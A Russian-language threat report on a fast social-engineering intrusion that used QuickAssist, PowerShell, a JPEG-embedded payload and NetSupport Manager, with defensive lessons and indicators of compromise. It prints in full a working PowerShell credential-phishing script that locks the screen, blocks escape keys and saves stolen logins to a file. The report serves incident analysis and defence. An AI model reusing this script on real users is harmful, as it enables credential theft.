Киберпреступники совершили молниеносную атаку на компанию, используя социальную инженерию и встроенные инструменты Windows. Инцидент, расследованный группой DFIR NCC Group, демонстрирует новый уровень скорости и изощренности злоумышленников. Атака началась с телефонных звонков двадцати сотрудникам, где преступники выдавали себя за ИТ-специалистов. Два сотрудника предоставили удаленный доступ через QuickAssist - стандартный инструмент удаленной поддержки в Windows. Этого оказалось достаточно для полного захвата систем.
Описание
В течение 167 секунд после установления соединения злоумышленник выполнил серию PowerShell-команд. Первая операция скопировала в буфер обмена сложный скрипт, который затем автоматически исполнился. Ключевым элементом стала загрузка JPEG-файла с домена resutato[.]com, содержащего скрытую вредоносную полезную нагрузку. Изображение nh2.jpg выглядело безобидно, но в его бинарном коде был зашифрован zip-архив с троянским ПО. Алгоритм использовал четырехбайтовый маркер 31 67 BE E1 для поиска начала полезной нагрузки, применял XOR-дешифрование с динамически генерируемым ключом, а затем восстанавливал структуру архива через перестановку блоков данных.
Извлеченный архив создавал скрытую директорию NetHealth в AppData, куда помещал компоненты легальной программы удаленного управления NetSupport Manager. Одновременно загружался второй вредоносный модуль update.zip, содержащий MSI-инсталлятор. Тот, в свою очередь, инициировал цепочку: скачивание ZIP-архива с nimbusvaults[.]com, распаковка легитимного файла GenUp.exe и вредоносной DLL libcurl.dll для организации скрытого канала связи. Механизмы персистентности включали два сценария: добавление записи в автозагрузку реестра и создание задания в планировщике задач, настроенного на выполнение каждые пять минут. Задание запускало случайно названную DLL через regsvr32.exe, маскируя активность под системные процессы.
Особую опасность представлял сценарий l.ps1, развернутый в папке Videos. Он генерировал фишинговое окно, имитирующее системный запрос учетных данных. Окно блокировало сочетания клавиш (Win, Alt, Esc, Tab) и скрывало панель задач, лишая пользователя возможности прервать процесс. Введенные логин и пароль сохранялись в cred.txt, после чего скрипт пытался проверить их подлинность, запуская cmd.exe с полученными реквизитами. Финал атаки включал отправку телеметрии на C2-сервер: компьютерное имя, учетная запись пользователя и статус работы NetHealth.exe передавались через веб-запрос к resutato[.]com.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | Add-Type -AssemblyName PresentationFramework, System.Xaml $signature = @' [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll", SetLastError = true)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); '@ Add-Type -MemberDefinition $signature -Namespace WinAPI -Name User32 [xml]$xaml = @" <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="System Credential Verification" WindowStyle="None" Background="Transparent" AllowsTransparency="True" WindowStartupLocation="CenterScreen" Topmost="True" ResizeMode="NoResize"> <Grid> <Rectangle Name="Overlay" Fill="#AA000000" IsHitTestVisible="True"/> <Border HorizontalAlignment="Center" VerticalAlignment="Center" BorderBrush="#DDD" BorderThickness="1" Padding="20" Background="White" CornerRadius="5"> <StackPanel Width="350"> <TextBlock Text="For security reasons, we need to verify your account credentials." TextWrapping="Wrap" Margin="0,0,0,20" FontSize="14" HorizontalAlignment="Center"/> <TextBlock Text="Please re-enter your username and password to continue using this device." TextWrapping="Wrap" Margin="0,0,0,20" FontSize="13" Foreground="Gray" HorizontalAlignment="Center"/> <TextBox Name="UsernameBox" Margin="0,0,0,10" Width="250" Height="30" FontSize="14" /> <PasswordBox Name="PasswordBox" Width="250" Height="30" FontSize="14"/> <Button Name="LoginBtn" Content="Login" Margin="0,20,0,0" Width="100" Height="30" /> </StackPanel> </Border> </Grid> </Window> "@ $reader = New-Object System.Xml.XmlNodeReader $xaml $window = [Windows.Markup.XamlReader]::Load($reader) $UsernameBox = $window.FindName("UsernameBox") $PasswordBox = $window.FindName("PasswordBox") $LoginBtn = $window.FindName("LoginBtn") $screenWidth = [System.Windows.SystemParameters]::PrimaryScreenWidth $screenHeight = [System.Windows.SystemParameters]::PrimaryScreenHeight $window.Width = $screenWidth $window.Height = $screenHeight $window.WindowStartupLocation = "CenterScreen" function Hide-Taskbar { $taskbarHandle = [WinAPI.User32]::FindWindow("Shell_TrayWnd", $null) if ($taskbarHandle -ne [IntPtr]::Zero) { [WinAPI.User32]::ShowWindow($taskbarHandle, 0) # SW_HIDE } } function Show-Taskbar { $taskbarHandle = [WinAPI.User32]::FindWindow("Shell_TrayWnd", $null) if ($taskbarHandle -ne [IntPtr]::Zero) { [WinAPI.User32]::ShowWindow($taskbarHandle, 5) # SW_SHOW } } $script:timer = $null $LoginBtn.Add_Click({ $username = $UsernameBox.Text.Trim() $password = $PasswordBox.Password.Trim() if ([string]::IsNullOrWhiteSpace($username) -or [string]::IsNullOrWhiteSpace($password)) { [System.Windows.MessageBox]::Show("Both fields are required.", "Error", "OK", "Error") return } $output = "Username: $username`nPassword: $password`n-------------------`n" Add-Content -Path "$env:TEMP\cred.txt" -Value $output try { $securePass = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential ($username, $securePass) $null = Start-Process cmd.exe -Credential $credential -ArgumentList "/c exit" -WindowStyle Hidden -ErrorAction Stop [System.Windows.MessageBox]::Show("Authentication successful!", "Success", "OK", "Information") $script:timer.Stop() # Останавливаем таймер $window.Close() } catch { [System.Windows.MessageBox]::Show("Invalid username or password.", "Authentication Failed", "OK", "Error") } }) $window.Add_KeyDown({ param($sender, $e) switch ($e.Key) { ([System.Windows.Input.Key]::LWin) { $e.Handled = $true } ([System.Windows.Input.Key]::RWin) { $e.Handled = $true } ([System.Windows.Input.Key]::System) { $e.Handled = $true } ([System.Windows.Input.Key]::Escape) { $e.Handled = $true } ([System.Windows.Input.Key]::LeftAlt) { $e.Handled = $true } ([System.Windows.Input.Key]::RightAlt) { $e.Handled = $true } ([System.Windows.Input.Key]::Tab) { $e.Handled = $true } default {} } }) $window.Add_ContentRendered({ Hide-Taskbar }) |
Весь цикл компрометации - от социальной инженерии до установки бэкдоров и сбора учетных данных - занял менее пяти минут. Инцидент удалось локализовать благодаря оперативному реагированию внутренней службы безопасности, изолировавшей зараженные хосты. Анализ показал профессиональную подготовку злоумышленников: использование нативных инструментов Windows (QuickAssist, PowerShell, msiexec) минимизировало следы, а многоуровневая обфускация скриптов осложняла детектирование. Внедрение вредоносного кода в изображение и применение XOR-шифрования с динамическим ключом демонстрируют эволюцию техник уклонения от сигнатурных анализаторов.
Эксперты подчеркивают, что атака эксплуатировала человеческий фактор как слабое звено. Убедительная легенда ИТ-поддержки, давление на пользователя и ограниченное окно для принятия решений создали идеальные условия для компрометации. Инцидент подтверждает тренд на сокращение времени операций злоумышленников: современные инструменты позволяют реализовывать сложные сценарии за минуты. Важность постоянного обучения сотрудников распознаванию социальной инженерии становится критическим элементом безопасности, равно как и необходимость мониторинга легитимных системных утилит. Скорость реакции внутренних команд остается ключевым фактором сдерживания ущерба даже при успешном начальном проникновении.
Индикаторы компрометации
IPv4
- 196.251.69.195
Domains
- resutato.com
URLs
- http://196.251.69.195
- https://resutato.com/2-4.txt
- https://resutato.com/b2/st/st.php
SHA1
- 4e57ae0cc388baffa98dd755ac77ee3ca70f2eaa
- df3125365d72abf965368248295a53da1cdceabe